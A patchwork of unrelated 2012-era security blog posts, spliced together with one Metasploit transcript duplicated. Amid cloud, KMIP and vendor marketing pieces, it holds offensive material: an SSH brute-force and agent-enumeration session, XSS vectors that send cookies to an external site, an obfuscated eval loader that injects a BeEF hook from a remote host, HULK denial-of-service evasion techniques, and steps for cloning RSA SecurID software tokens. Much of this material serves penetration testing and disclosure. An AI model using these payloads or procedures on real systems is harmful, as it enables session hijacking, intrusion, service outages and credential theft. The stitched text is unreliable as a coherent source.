Earlier this week we shared news around the security benefits small to mid-size businesses (SMBs) gain from using the cloud in both the United States and Singapore. Additional data focusing on SMBs in India shows that improved security, time savings and cost savings are all benefits Indian SMBs using the cloud experience as well.

After almost five years of working as part of an internal security consulting team for a fairly large bank I decided to hand in my notice and jump into a fresh new venture. For those that don’t know me personally you’ll have to excuse the brief rant about Asterisk Information Security, a company that I am so deeply proud to have helped found with a group of amazing and talented individuals. You see, living in Perth, Australia poses some interesting challenges for those working in security. Not wanting to bad mouth my quaint city, because I love Perth through and through and couldn’t imagine living anywhere else, but I feel we sometimes have what I’ve titled the “Perth-delay”. That is, in general, the understanding, addressing and focus on security problems seems to lag behind the rest of Australia, which sometimes (though of course not always), seems to lag behind the rest of the world.

This phenomena is in no way without exceptions, because that is certainly the case, we have a tonne of excellent and amazing security people, and perhaps per-capita Australia is in fact swinging above its weight, but I look around various businesses in Perth (and if you follow Australian financial news, you’ll know that WA is kicking some serious ass. Some financial analysts have started to have to remove WA statistics because the outlying nature of our ‘boom’ is impacting their work), and I’m amazed that not more companies like Asterisk exist. Sure, there are firms that have security expertise, some that have great people, but none that have a 100% focus on information security, from information security management, through security architecture, infrastructure, assessments and application security, that are located entirely here in Perth. It’s this that makes me the most excited.

So what does this mean for un-excogitate.org? Well, it just means I’m splitting myself a little bit, this domain, and this blog will still remain, but as I’m trying to focus my technical efforts through Asterisk, it’ll likely be there. What about all the BeEF stuff? Well, we’ve also recently set up a blog over there too, which if you haven’t checked out, you certainly should.

What else has been going on? I was super fortunate to be over in Sydney for OWASP’s AppSec APAC conference last month. It was a great experience to meet a bunch of awesome people, re-meet a different bunch of awesome people, and get on my high-horse about BeEF. My talk, “Shake Hooves with BeEF” went down well, you can grab my deck (and a bunch others) over here.

Thank you all for your support, and I hope to keep you informed on how all this pans out in the future.

-c

It turns out that Voltage is different from many other companies. It's even quite different from many Silicon Valley pre-IPO tech companies. In particular, it turns out that at least two Voltage employees are actually ordained ministers and one used to be a professional gambler.

Try to find that particular combinations of backgrounds anywhere else.

• OpenVAS – The world’s most advanced Open Source vulnerability scanner and manager
• OWASP ZAP – An easy to use integrated penetration testing tool for finding vulnerabilities in web applications
• W3af – Framework to find and exploit web application vulnerabilities
• Nikto – Web server security scanner
• Spikeproxy – Web application security testing proxy
• Web-sorrow – A remote web scanner for misconfig, version detection, and server enumeration tool writen in perl
• Wireshark – Network traffic analyzer – GTK+ version
• Tshark – Network traffic analyzer – console version
• Nmap – The Network Mapper
• Zenmap – The Network Mapper Front End
• Scapy – Packet generator/sniffer and network scanner/discovery
• Netexpect – Network Expect, a framework for manipulating network packets
• Netcat – TCP/IP swiss army knife
• Cryptcat – A lightweight version netcat extended with twofish encryption
• Hping3 – Active Network Smashing Tool
• Sqlmap – Automatic SQL injection and database takeover tool
• Bless – A full featured hexadecimal editor
• Dcfldd – Enhanced version of dd for forensics and security
• Foremost – Forensics application to recover data
• Guymager – Forensic imaging tool based on Qt
• Scalpel – A Frugal, High Performance File Carver
• DFF – Powerful, efficient and modular digital forensic framework
• Tcpxtract – extracts files from network traffic based on file signatures
• Gddrescue – The GNU data recovery tool
• Testdisk – Partition scanner and disk recovery tool
• Rifiuti2 – A MS Windows recycle bin analysis tool
• Pasco – An Internet Explorer cache forensic analysis tool
• Vinetto – A forensics tool to examine Thumbs.db files
• Unhide – Forensic tool to find hidden processes and ports
• Snowdrop – Plain text watermarking and watermark recovery
• Chntpw – NT SAM password recovery utility
• John the Ripper – Active password cracking tool
• Ophcrack – Microsoft Windows password cracker using rainbow tables
• Fcrackzip – Password cracker for zip archives
• PDFcrack – PDF files password cracker
• PDFchain – Graphical user interface for the PDF Tool Kit
• Dsniff – Various tools to sniff network traffic for cleartext insecurities
• Hydra-gtk – Very fast network logon cracker – GTK+ based GUI
• Kismet – Wireless 802.11b monitoring tool
• Pyrit – GPGPU-driven WPA/WPA2-PSK key cracker
• Sipcrack – SIP login dumper/cracker
• Ettercap – Multipurpose sniffer/interceptor/logger for switched LAN
• Etherape – Graphical network monitor
• Bleachbit – Delete unnecessary files from the system
• Wipe – Secure file deletion
• Scrub – Writes patterns on magnetic media to thwart data recovery
• Rkhunter – Rootkit, backdoor, sniffer and exploit scanner
• Lynis – Security auditing tool for Unix based systems
• Proxychains – Redirect connections through proxy servers
• Tsocks – Transparent network access through a SOCKS 4 or 5 proxy
• Privoxy – Privacy enhancing HTTP Proxy
• I2P – Anonymizing network, offering a simple layer that identity-sensitive applications can use to securely communicate
• Tor – Anonymizing overlay network for TCP
• Vidalia – Controller GUI for Tor
• Torsocks – Use socks-friendly applications with Tor
• Tor-Arm – Terminal status monitor for Tor
• Torchat – Decentralized instant messenger built on top of the Tor Network
• Arkose – Desktop application sandboxing

Why fortuitous you ask? It gave me the chance to understand attendees’ interest in security, and in turn use the
opportunity to explain how ADC virtualization should be done differently in the cloud than in the private data center. By this, I mean preventing the weakest link, a single customer from taking down the entire infrastructure and affecting other customers residing on the shared network. The most important reason for using cloud services is cost savings. Cloud services achieve this cost saving by sharing infrastructure resources. For example, running multiple virtual machines on a single physical server, or sharing storage, or sharing ADCs.

Most customers would assume their cloud services and data are isolated from other hosted cloud services and customers; this is probably true in the logical sense that neighboring customers won’t have access to their servers and data, but what happens in the case of a DDoS attack on a neighboring hosted website or service? During the attack, the neighboring website receives a massive amount of traffic, which overloads its infrastructure resources and takes it down; this includes the application, the server and the ADC in front of it. Now, even if the cloud provider has isolated the different hosted services on the network level, and configured different routing domains per service in the ADC, the ADC processing capacity is still shared, and an attack through one of the ADC services will consume all of its processing resources and bring down all sites using the same shared ADC.

How does the DC administrator prevent this? Implement a VADF (virtual Application Delivery Fabric), cloud computing should simply use the same methodology as used by server/storage virtualization: Use a hypervisor layer on top of the ADC computing resources which will isolate each service not only on the network logical layer (e.g. as done with routing domains), but also isolate each service running through the ADC fabric and guarantee their capacity, computing resource and guarantee overall SLA. If a hosted websites is under a DDoS attack, other websites sharing the same physical ADC will still receive their guaranteed processing resources and won’t be affected by attacks on their neighbor.

Still, a question remains: how can an ADC virtualization solution be scalable and cost effective? For a solution to be feasible in the cloud environment it must provide high enough density of virtual ADCs per computing resource, consume as little physical footprint in the cloud datacenter as possible and reduce the cost per customer. The ADC virtualization solution should also converge into the cloud’s management and orchestration systems. Provisioning and maintenance of the ADC service per customer must be done in full correlation with all other elements of the cloud computing resources and be able to scale on demand.

Radware’s Virtual Application Delivery Infrastructure (VADI™) solution for the cloud addresses all of the above. The virtual ADCs running on any of the Alteon-VX models provide full isolation of applications, and guarantee the computing resources and capacity per virtual ADC instance even when under massive attack. Moreover, with a density of up to 256 vADCs per Alteon-VX device and the ability to cluster, cloud providers can achieve a cost effective ADC virtualization fabric with minimal footprint in their datacenter. The VADI solution also includes another important component – the vDirect plug-in provides for complete integration into the data center’s eco system, which enables streamlining the ADC service provisioning together with the other cloud service components, through smooth integration with any cloud management and orchestration systems.

In closing, a family would not be happy if a neighbor in their housing complex used up their allocated water supply, and then just tapped into the neighborhood supply and used all of the water for the entire community. There needs to be measures of control. Landlords just like cloud service providers must be able to guarantee isolated availability of resources.

Encryption is Only as Strong as the Key

In this case, encryption breaks down because the OS X user's password (used to unlock an encrypted volume) is logged in clear-text via debugging function to a system-wide readable log file. In this scenario, a user running Mac OS X 10.7.3 would encrypt their drive using File Vault, which is included with OS X and encrypts the entire contents of your hard drive. When your system boots up, or you access your files over AFP (Apple's File Sharing Protocol), the system uses your password to decrypt the contents of the drive and your home folder. Debugging in vulnerable versions was enabled such that the password was logged in plain-text to /var/log/secure.log, as follows:

25/04/2012 13:12:12.340 authorizationhost: DEBUGLOG | -[HomeDirMounter mountNetworkHomeWithURL:attributes:dirPath:usernam e:] | about to call _premountHomedir. url = afp://mymacbookpro, userPathComponent = paul, userID = 001, name = paul, passwordAsUTF8String = mysupersecretpassword

As this logging event could be repeated over time, and a history of the "secure.log" is stored on disk for potentially months, an attacker could easily gain knowledge of the File Vault password. As Apple states in their advisory, "A local attacker in the admin group or an attacker with physical access to the host could exploit this to get user passwords, which could be used to gain access to encrypted partitions."

Finding the Vulnerability on Your Systems

The problem arises that even after a patch has been installed, the passwords could still be buried in the system log archives. Provided Nessus has credentials to the target system(s), Plugin 59090 - Mac OS X FileVault Plaintext Password Logging will detect the presence of passwords in the system logs and log archives. The results of the plugin look as follows:

Mac OS X FileVault Plaintext Password Logging (click for larger image)

Be certain the credentials you've provided are of a user in the admin group on the OS X target(s). The command run locally on the system is as follows:

/usr/bin/bzcat /var/log/secure.log.?.bz2 2> /dev/null | /bin/cat /var/log/secure.log - 2> /dev/null | /usr/bin/grep ': DEBUGLOG |.*, password[^ ]* ='"

The first two commands, bzcat and cat, dump the contents of the archived and current log files potentially containing the password. The grep command in the second half searches the output for lines containing the pattern corresponding to the password itself.

When OASIS published the call for participation in a new Key Management Interoperability Protocol committee, EMC’s Chuck Hollis published a very insightful blog about that new standards effort. There are several things that were essential to a successful standard, he wrote. One of the most important is that the standard solves a real problem, one that matters. As the convener for the KMIP TC and its co-chair, I’ve been spokesperson for KMIP in lots of situations: in conferences, in customer meetings, in discussions with other standards groups and many other forums. Whether I was in Beijing or Berlin, San Francisco or Sao Paulo, the starting point of the discussion has always been the problem we need to solve: the costs and risks resulting from multiple contradictory protocols between key clients and key servers.

(used with OASIS permission)

It’s a real and substantial problem. It needs a real and substantial solution. And that’s what we’ve defined in KMIP. KMIP isn’t going to solve world hunger. But it is an effective and versatile protocol for key management across a range of use cases. Creating and validating it has been a lot of work from a lot of folks from a lot of organizations. Judging by the effort that’s been invested into it, it’s a standard that matters.

(used with OASIS permission)

In the final analysis, a standard is only valuable if it’s put to use. And that’s why the announcement this week of KMIP support in the most recent release of RSA DPM is so important. We at RSA invest a lot of time and effort in promoting industry standards. But we also devote a lot of time and effort building standards into our products, as we have done with KMIP and DPM. And that is what matters most of all.

By itself, this seems to be a bit damning toward the technical sector essentially stating that they aren’t any good at detecting fraud. Or at least their tools aren’t any good. But technology has always played a catch-up role when compared to human intuition. It could be simple things like highlighting the right statistical inconsistencies for analysts or complex things like playing chess against the world’s best, but we’re all still trying to mimic a human (with scale) by building intelligence into systems.

Stop!, by Qfamily

So this really begs the question, whether you are in the information security business or the fraud prevention business, where is your first line of defense? I’m willing to bet it falls in line with the observations from the roundtable and it is entirely human focused. But I’m also willing to bet that your company realizes this plan isn’t scalable and is trying to find ways to build human intelligence artificially into our infrastructure to aid the humans. For example, humans cannot read millions of logs manually, they have systems that triage mountains of work into molehills of actions for further analysis.

So the question becomes, how do we accelerate this so we can get to the point of more front-line defenses being built into artificial intelligence instead of relying almost solely on human intuition?

Companies require comprehensive visibility into events into their network with the ability to incorporate both internal and external sources of intelligence to create actionable intelligence that can feed an automated, agile control set. Sure, it sounds a little like the beginnings of Skynet, but those that fear the rise of the machines may choose to build the intelligence without the capacity to act, thus still requiring human interaction but theoretically with better information. The goal still needs to be furthering our ability to transfer human intelligence into systems to help us do more with less (and reliably!).

Possibly Related Posts:

• Why the Public Cloud Shuns Security
• Big Data vs Social Engineering
• Sir, Put Down the Loaded Weapon
• What’s your Maturity?
• There Are No BYOD Absolutes (You’re Doing It Wrong)

I could wax poetic over Macs and malware but that’s not what I have on my mind. Instead, it’s all those darned WordPress sites that are unmaintained, exposed to web security threats and waiting to become a part of the web security problem. The recent version 3.3.2 update of WordPress fixes a slew of problems including Cross-Site Scripting and Cross-site request forgery. Sure, these may not be a huge problem to a local bakery or landscaper that maintains his or her web presence on WordPress. Instead, it underscores how many under-secured and flat out mis-managed WordPress-based sites there are on the web.

As the Flashback botnet has shown us, someone with an unsecured website no longer has just a personal problem. It’s creating an Internet problem. Heck, if application security only impacted people and businesses and nothing else, we’d all be out of work. The way I see it is these people choosing to ignore web security threats are creating hazards for the entire web. This is something that’s been impacting Windows systems for years. Now it’s time for Macs to get in the ring.

There’s a universal law that applies to everything we do in life and work: you cannot fix what you don’t acknowledge. Nor can you secure it. If you have your own WordPress sites, bring them under the umbrella of web security testing so you can fix the silly low-hanging fruit that’s waiting to be exploited. Acunetix Web Vulnerability Scanner can help. On top of that, look at some of the technologies like Acunetix’s new product WebsiteDefender that help lock down and monitor WordPress and similar platforms for malware and other web security threats. Whatever you do, just do something.

‘Like’ the Acunetix Facebook Page to receive updates on the latest security news. Also follow us on Twitter and read the Acunetix Blog.

There are tools out there to help exploit this scenario, the main one I know about is secret-agent but I’ve been working on integrating this attack into everyone’s favourite framework for rapid exploit development, metasploit (MSF).

Right now, I’ve completed work on an enumeration post module called enum_ssh_agents. This can be used to identify any potential agents being forwarded through a box you’ve popped with metasploit. Later in this post I’ve outlined my roadmap for this tool, there’s definitely some opportunities but I need to make some more tweaks to the core MSF to allow it.

Here’s how to use the post module.

enum_ssh_agents

I’ll assume you have achieved root access to a box in metasploit and have at least one root level session you can run a post module against. If you’re following along at home we can quickly achieve that through the ssh_login auxiliary module. In this scenario our root credentials on debian1 are root/toor:

msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set RHOSTS debian1
RHOSTS => debian1
msf auxiliary(ssh_login) > set USERNAME root
USERNAME => root
msf auxiliary(ssh_login) > set PASSWORD toor
PASSWORD => toor
msf auxiliary(ssh_login) > run

[*] 192.168.1.60:22 SSH – Starting bruteforce
[*] 192.168.1.60:22 SSH – [1/3] – Trying: username: ‘root’ with password: ”
[-] 192.168.1.60:22 SSH – [1/3] – Failed: ‘root’:”
[*] 192.168.1.60:22 SSH – [2/3] – Trying: username: ‘root’ with password: ‘root’
[-] 192.168.1.60:22 SSH – [2/3] – Failed: ‘root’:'root’
[*] 192.168.1.60:22 SSH – [3/3] – Trying: username: ‘root’ with password: ‘toor’
[*] Command shell session 1 opened (192.168.1.250:50870 -> 192.168.1.60:22) at 2012-04-18 13:44:43 +0100
[+] 192.168.1.60:22 SSH – [3/3] – Success: ‘root’:'toor’ ‘uid=0(root) gid=0(root) groups=0(root) Linux debian1 2.6.32-5-686-bigmem #1 SMP Mon Oct 3 05:03:32 UTC 2011 i686 GNU/Linux ‘
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Hurrah, session 1 opened. Now we can execute our post module to enumerate any SSH agents which may be available.

msf auxiliary(ssh_login) > use post/linux/gather/enum_ssh_agents
msf post(enum_ssh_agents) > set SESSION 1
SESSION => 1
msf post(enum_ssh_agents) > run

[*] Enumerating as root
[!] platform is linux
[*] SSH agent socket stored in /root/.msf4/loot/20120419095036_default_192.168.1.60_linux.enum.ssh_a_332108.txt
[!] platform is linux
[*] SSH agent socket stored in /root/.msf4/loot/20120419095036_default_192.168.1.60_linux.enum.ssh_a_275927.txt
[!] platform is linux
[*] SSH agent socket stored in /root/.msf4/loot/20120419095037_default_192.168.1.60_linux.enum.ssh_a_589857.txt
[!]
[*] Post module execution completed

Great, we’ve found some and saved the details to loot.

msf post(enum_ssh_agents) > loot

Loot
====

host service type name content info path
—- ——- —- —- ——- —- —-
192.168.1.60 linux.enum.ssh_agents ssh_agent_socket text/plain SSH agent socket /root/.msf4/loot/20120419095218_post_192.168.1.60_linux.enum.ssh_a_227695.txt
192.168.1.60 linux.enum.ssh_agents ssh_agent_socket text/plain SSH agent socket /root/.msf4/loot/20120419095218_post_192.168.1.60_linux.enum.ssh_a_910544.txt
192.168.1.60 linux.enum.ssh_agents ssh_agent_socket text/plain SSH agent socket /root/.msf4/loot/20120419095217_post_192.168.1.60_linux.enum.ssh_a_377311.txt

At the moment the module saves details of an agent as a colon delimited entry in a text file:

msf post(enum_ssh_agents) > cat /root/.msf4/loot/20120419095218_post_192.168.1.60_linux.enum.ssh_a_227695.txt
[*] exec: cat /root/.msf4/loot/20120419095218_post_192.168.1.60_linux.enum.ssh_a_227695.txt

pwnme:/tmp/ssh-JeCGlj2407/agent.2407

Roadmap

The roadmap for this module is to develop a way to pivot through the box where we have root and use the ssh-agents to scan/exploit further boxes beyond it. I already have some proof of concept code which can forward the ssh-agent back to our metasploit box for use in the scanning, and using metassh (which rocks btw) I can perform the pivot. The limitation is that the PoC code has to be executed on the root box and it’s written in Ruby which isn’t always installed.

I’m toying with the idea of rewriting it in Perl as that is nearly always available but that makes me feel a bit wrong. For now, a practical alternative is to upload socat to the root box and forward the agent back that way but the current metasploit ssh modules don’t support agent based authentication so I’ve got that to work on too.

Code

If you want to play around with this yourself you need two things. A version of the metasploit framework which includes my patch to lib/msf/core/post/file.rb and the post module itself. You can get both of these from my Github page at https://github.com/marcwickenden. I’ve submitted a pull request to the metasploit guys so hopefully the patch to file.rb will be available in the main code soon. Once this post module matures a little I will submit some more for inclusion.

The contract will be short-lived and will cost between $100,000 and $200,000, according to a solicitation published on May 11.

It calls for building a communications plan to “rebuild trust with the public, specifically those who were directly impacted by the breach and those who rely on the [Utah Department of Health] for critical health services.”

Click for complete article >>

msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set RHOSTS debian1
RHOSTS => debian1
msf auxiliary(ssh_login) > set USERNAME root
USERNAME => root
msf auxiliary(ssh_login) > set PASSWORD toor
PASSWORD => toor
msf auxiliary(ssh_login) > run

[*] 192.168.1.60:22 SSH - Starting bruteforce
[*] 192.168.1.60:22 SSH - [1/3] - Trying: username: 'root' with password: ''
[-] 192.168.1.60:22 SSH - [1/3] - Failed: 'root':''
[*] 192.168.1.60:22 SSH - [2/3] - Trying: username: 'root' with password: 'root'
[-] 192.168.1.60:22 SSH - [2/3] - Failed: 'root':'root'
[*] 192.168.1.60:22 SSH - [3/3] - Trying: username: 'root' with password: 'toor'
[*] Command shell session 1 opened (192.168.1.250:50870 -> 192.168.1.60:22) at 2012-04-18 13:44:43 +0100
[+] 192.168.1.60:22 SSH - [3/3] - Success: 'root':'toor' 'uid=0(root) gid=0(root) groups=0(root) Linux debian1 2.6.32-5-686-bigmem #1 SMP Mon Oct 3 05:03:32 UTC 2011 i686 GNU/Linux '
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

msf auxiliary(ssh_login) > use post/linux/gather/enum_ssh_agents
msf post(enum_ssh_agents) > set SESSION 1
SESSION => 1
msf post(enum_ssh_agents) > run

[*] Enumerating as root
[!] platform is linux
[*] SSH agent socket stored in /root/.msf4/loot/20120419095036_default_192.168.1.60_linux.enum.ssh_a_332108.txt
[!] platform is linux
[*] SSH agent socket stored in /root/.msf4/loot/20120419095036_default_192.168.1.60_linux.enum.ssh_a_275927.txt
[!] platform is linux
[*] SSH agent socket stored in /root/.msf4/loot/20120419095037_default_192.168.1.60_linux.enum.ssh_a_589857.txt
[!]
[*] Post module execution completed

msf post(enum_ssh_agents) > loot

Loot
====

host service type name content info path
---- ------- ---- ---- ------- ---- ----
192.168.1.60 linux.enum.ssh_agents ssh_agent_socket text/plain SSH agent socket /root/.msf4/loot/20120419095218_post_192.168.1.60_linux.enum.ssh_a_227695.txt
192.168.1.60 linux.enum.ssh_agents ssh_agent_socket text/plain SSH agent socket /root/.msf4/loot/20120419095218_post_192.168.1.60_linux.enum.ssh_a_910544.txt
192.168.1.60 linux.enum.ssh_agents ssh_agent_socket text/plain SSH agent socket /root/.msf4/loot/20120419095217_post_192.168.1.60_linux.enum.ssh_a_377311.txt

msf post(enum_ssh_agents) > cat /root/.msf4/loot/20120419095218_post_192.168.1.60_linux.enum.ssh_a_227695.txt
[*] exec: cat /root/.msf4/loot/20120419095218_post_192.168.1.60_linux.enum.ssh_a_227695.txt

pwnme:/tmp/ssh-JeCGlj2407/agent.2407

Hello followers of SpiderLabs Anterior.

I’m Michele “antisnatchor” Orru, a new Senior Spider that recently joined the Application Security team in EMEA (London). I love both writing and breaking code. That’s why I particularly like source code analysis, debuggers and delve my hands deeper on software internals.

 Coming from a strong Java Enterprise development background for various years, I got into Ruby a few years ago when I heard that Wade Alcorn, the creator of the BeEF project, wanted to rewrite the whole framework from scratch. So finally no more PHP that I always hated, especially when writing and securing code for customers. I had a lot of friends that were definitely happy after the Java to Ruby transition, so I joined the BeEF project. I wrote a technical article regarding why PHP BeEF is discontinued and why you should use the Ruby BeEF in our blog.

You will now be wondering what the hell is BeEF :D

[Figure 1: BeEF console logs. Note the new hooked browsers Firefox and Safari]

BeEF is a powerful platform for client-side pwnage, XSS post-exploitation and generally victim browser security-context abuse. Every browser is in a different security context: browser and operating system type/version, plugins installed, specific domain hooked could open different security holes. Imagine Internet Explorer 8 on Windows XP-SP3 lacking patches, vulnerable to the Aurora exploit, or maybe Firefox fully patched with a vulnerable Java plugin. The framework allows the penetration tester to select specific modules (in real-time) to target each browser, and therefore each context.

[Figure 2: BeEF admin console. Here you can control your hooked browsers]

Lets discuss a practical example. You are able to inject Javascript code in a web application, for example using XSS or HTTP Response Splitting. You’re happy to see a lame alert box popping up in your screen, and you send to the pentest requestor - your customer – tons of vectors with alert(1). 

You’re clever, you’re a sla.cke.r and you use a known vector to bypass Chrome 18 XSS filter: <svg><script>//&#x0A;alert(1)</script>

Wait, you can be smarter and send document.cookie to your PHP page. You modify your vector as the following: <svg><script>//&#x0A;document.location=’yoursite.com?cookie=’+document.cookie</script>

Cool, but what if the web application prevents Session Hijacking checking for UserAgent, source IP, browser type and version and so on? You would say…ok UserAgent is spoofable, but what about the source IP or whatever other security mechanisms implemented by the web application?

 So, to solve the problem, you inject the BeEF hook and use the Tunneling Proxy feature. This allows you to proxy requests through the victim browser, so her browser will effectively request resources you want and send back the results.

You modify your vector in order to dynamically load an external script, the BeEF hook. After applying some very simple encoding iterations, your script will become:

<svg><script>//&#x0A;eval(atob(String.fromCharCode(99,122,49,107,98,50,78,49,98,87,86,117,100,67,53,106,99,109,86,104,100,71,86,70,98,71,86,116,90,87,53,48,75,67,100,122,89,51,74,112,99,72,81,110,75,84,116,122,76,110,82,53,99,71,85,57,74,51,82,108,101,72,81,118,97,109,70,50,89,88,78,106,99,109,108,119,100,67,99,55,99,121,53,122,99,109,77,57,74,50,104,48,100,72,65,54,76,121,56,120,78,122,73,117,77,84,89,117,78,106,99,117,77,84,111,122,77,68,65,119,76,50,104,118,98,50,115,117,97,110,77,110,79,50,82,118,89,51,86,116,90,87,53,48,76,109,100,108,100,69,86,115,90,87,49,108,98,110,82,122,81,110,108,85,89,87,100,79,89,87,49,108,75,67,100,111,90,87,70,107,74,121,108,98,77,70,48,117,89,88,66,119,90,87,53,107,81,50,104,112,98,71,81,111,99,121,107,55)));</script>

In it’s plain form this is basically:

<svg><script>//&#x0A;s=document.createElement('script');s.type='text/javascript';s.src='http://172.16.67.1:3000/hook.js';document.getElementsByTagName('head')[0].appendChild(s);</script>

Source IP protections, UserAgent and so on will not be effective in this case, and forensics will also have an hard job to detect what happened (like, who added that admin user? Looks legitimate!) 

In the next article we’ll see the Tunneling Proxy internals, including the new cutting-edge WebSockets support that will increase the speed of the proxy almost to real-time. Stay tuned!

In my line of work, I get to see tons of different nifty hacking tools, and traffic generation tools that are meant to either break and steal information off a system, or exhaust its resource pool, rendering the service dead and putting the system under a denial of service.

For a while now, I have been playing with some of the more exotic tools, finding that their main problem is always the same… they create repeatable patterns. too easy to predict the next request that is coming, and therefor mitigate. Some, although elegant, lack the horsepower to really put a system on its knees.

For research purposes, I decided to take some of the lessons I’ve learned over time and practice what I preach.

Enforcing Python’s engines, I wrote a script that generates some nicely crafted unique Http requests, one after the other, generating a fair load on a webserver, eventually exhausting it of resources. this can be optimized much much further, but as a proof of concept and generic guidance it does its job.

As a guideline, the main concept of HULK, is to generate Unique requests for each and every request generated, thus avoiding/bypassing caching engines and effecting directly on the server’s load itself.

I have published it to Packet Storm, as we do.

Some Techniques

• Obfuscation of Source Client – this is done by using a list of known User Agents, and for every request that is constructed, the User Agent is a random value out of the known list
• Reference Forgery – the referer that points at the request is obfuscated and points into either the host itself or some major prelisted websites.
• Stickiness – using some standard Http command to try and ask the server to maintain open connections by using Keep-Alive with variable time window
• no-cache – this is a given, but by asking the HTTP server for no-cache , a server that is not behind a dedicated caching service will present a unique page.
• Unique Transformation of URL – to eliminate caching and other optimization tools, I crafted custom parameter names and values and they are randomized and attached to each request, rendering it to be Unique, causing the server to process the response on each event.

Results

Basically my test web server with 4gb of Ram running Microsoft IIS7 was brought to its knees under less than a minute, running all requests from a single host.

In the pictures below you can see the tool in action, where it first ( #1 ) executed against a URL, and then the tool starts generating a load of unique requests and sending over the target server ( host of the URL ), and second ( #2 ) we can see that the server at some point starts failing to respond since it has exhausted its resource pool.

Note the “safe” word is meant to kill the process after all threads got a 500 error, since its easier to control in a lab, it is optional.

Download

File : hulk.py ( zip file )

The tool is meant for educational purposes only, and should not be used for malicious activity of any kind.

Device serial number of tokens can be calculated by a remote attacker :

Every instance of the installed SecurID software token application contains a hard drive plug-in (implemented in tokenstoreplugin.dll) that has a unique device serial number. This serial number can be used for "Device Binding" and the RSA documentation defines it as follows:

“Before the software token is issued by RSA Authentication Manager, an additional extension attribute (<DeviceSerialNumber/>) can be added to the software token record to bind the software token to a specific devicedevice serial number is used to bind a token to a specific device. If the same user installs the application on a different computer, the user cannot import software tokens into the application because the hard drive plug-in on the second computer has a different device serial number from the one to which the user's tokens are bound”.

device_serial_number=Left(SHA1(host_name+user_SID+“RSA Copyright 2008”),10)

Token's copy protection:

The software token information, including the secret seed value, is stored in a SQLite version 3 database file named RSASecurIDStorage under the “%USERPROFILE%\Local Settings\Application Data\RSA\RSA SecurID Software Token Library” directory. This file can be viewed by any SQLite database browser, but sensitive information such as the checksum and seed values are encrypted. RSA documentation states that this database file is both encrypted and copy protected: “RSA SecurID Software Token for Windows uses the following data protection mechanisms to tie the token database to a specific computer:

• Binding the database to the computer's primary hard disk drive

• Implementing the Windows Data Protection API (DPAPI)

These mechanisms ensure that an intruder cannot move the token database to another computer and access the tokens. Even if you disable copy protection, the database is still protected by DPAPI.”

The RSASecurIDStorage database file has two tables: PROPERTIES and TOKENS. The DatabaseKey and CryptoChecksum rows found in the PROPERTIES tables were found to be used for copy protection purpose as shown in the figure below:

Reverse engineering of the copy protection mechanism indicated that:

• The CryptoChecksum value is encrypted using the machine's master key, which can only be decrypted on the same computer system, unless the attacker can find a way to import the machine key and other supporting data to their machine
• The DatabaseKey is encrypted using the current logged-on user's master key and provides token binding to that user account

1. Copy the token database file, RSASecurIDStorage, from the user profile directory
2. Copy the user's master key from %PROFILEDIR%\Application Data\Microsoft\Protect\%SID%; the current master key's GUID can be read from Preferred file as shown in the figure below:

3. Copy the machine's master key from the %WINDIR%\system32\Microsoft\Protect\ directory. Microsoft Windows protects machine keys against tampering by using SHA1 hash values, which are stored and handled by the Local Security Authority Subsystem Service (LSASS) process in Microsoft Windows operating systems. The attacker should also dump these hash values from LSA using publicly available tools like lsadump.


4. Having all the required master keys and token database file, install and deploy a windows machine and change the machine and user SIDs to the victim's system SID by using available tools such as newSID.
5. Overwrite the token database file, user and machine master keys with the ones copied from victim's system. You would also need to find a way to update the DPAPI_SYSTEM value in LSA secrets of the Windows machine. Currently, this is the only challenge that I was not able to solve , but it should be possible to write a tool similar to lsadump which updates LSA secrets.
6. When the above has been performed, you should have successfully cloned the victim's software token and if they run the SecurID software token program on your computer, it will generate the exact same random numbers that are displayed on the victim's token.

In order to counter the aforementioned issues, I would recommend the use of "trusted platform module" (TPM) bindings, which associates the software token with the TPM chip on the system (TPM chip for mobiles? there are vendors working on it).

At issue is a program that the author calls “LilyJade,” a browser plugin that uses Crossrider, an emerging programming framework designed to simplify the process of writing plugins that will run on Google Chrome, Internet Explorer, and Mozilla Firefox.  The plugin spreads by posting a link to a video on a user’s Facebook wall, and friends who follow the link are told they need to accept the installation of the plugin in order to view the video. Users who install LilyJade will have their accounts modified to periodically post links that help pimp the program.

The goal of LilyJade is to substitute code that specifies who should get paid when users click on ads that run on top Internet properties, such as Facebook.com, Yahoo.com, Youtube.com, Bing.com, Google.com and MSN.com. In short, the plugin allows customers to swap in their own ads on virtually any site that users visit.

I first read about LilyJade in an analysis published earlier this month by Russian security firm Kaspersky Labs, and quickly recognized the background from the screenshot included in that writeup as belonging to user from hackforums.net. This is a relatively open online hacking community that is often derided by more elite and established underground forums because it has more than its share of adolescent, novice hackers (a.k.a. “script kiddies”) who are eager to break onto the scene, impress peers, and make money.

It turns out that the Hackforums user who is selling this plugin is doing so openly using his real name. Phoenix, Ariz. based hacker Dru Mundorff sells the LilyJade plugin for $1,000 to fellow Hackforums members. Mundorff, 29, says he isn’t worried about the legalities of his offering; he’s even had his attorney sign off on the terms of service that each user of the plugin is required to agree to before installing it.

“We’re not forcing any users to be bypassed, exploited or anything like that,” Mundorff said in a phone interview.  “At that point, if they do agree, it will allow us to make posts on their wall through our system.”

Mundorff claims his plugin is actually a benefit to Facebook and the Internet community at large because it is designed to also remove infections from some of the more popular bot and Trojan programs currently for sale on Hackforums, including Darkcomet, Cybergate, Blackshades and Andromeda (the latter being a competitor to the password-stealing ZeuS Trojan that hides behind Facebook comments). Mundorff maintains that his plugin will result in a positive experience for the average Facebook user, although he acknowledges that customers who purchase LilyJade can modify at will the link that “users” are forced to spread, and may at any time swap in links to malware or exploit sites.

A LilyJade administrative panel

Dozens of customers who bought or trialed LilyJade posted statistics to Hackforums that purport to show the plugin spreading virally to tens of thousands of users per day. According to Mundorff, customers who use the system can expect to make about 50 cents per hour for every 100 users who install the plugin.

It’s impossible to verify those numbers or to say exactly how many Facebook users have installed this browser plugin. But the plugin has apparently been successful enough to have caught the attention of Facebook’s security team, which earlier this week sent Mundorff a cease-and-desist order demanding that he stop selling the program.

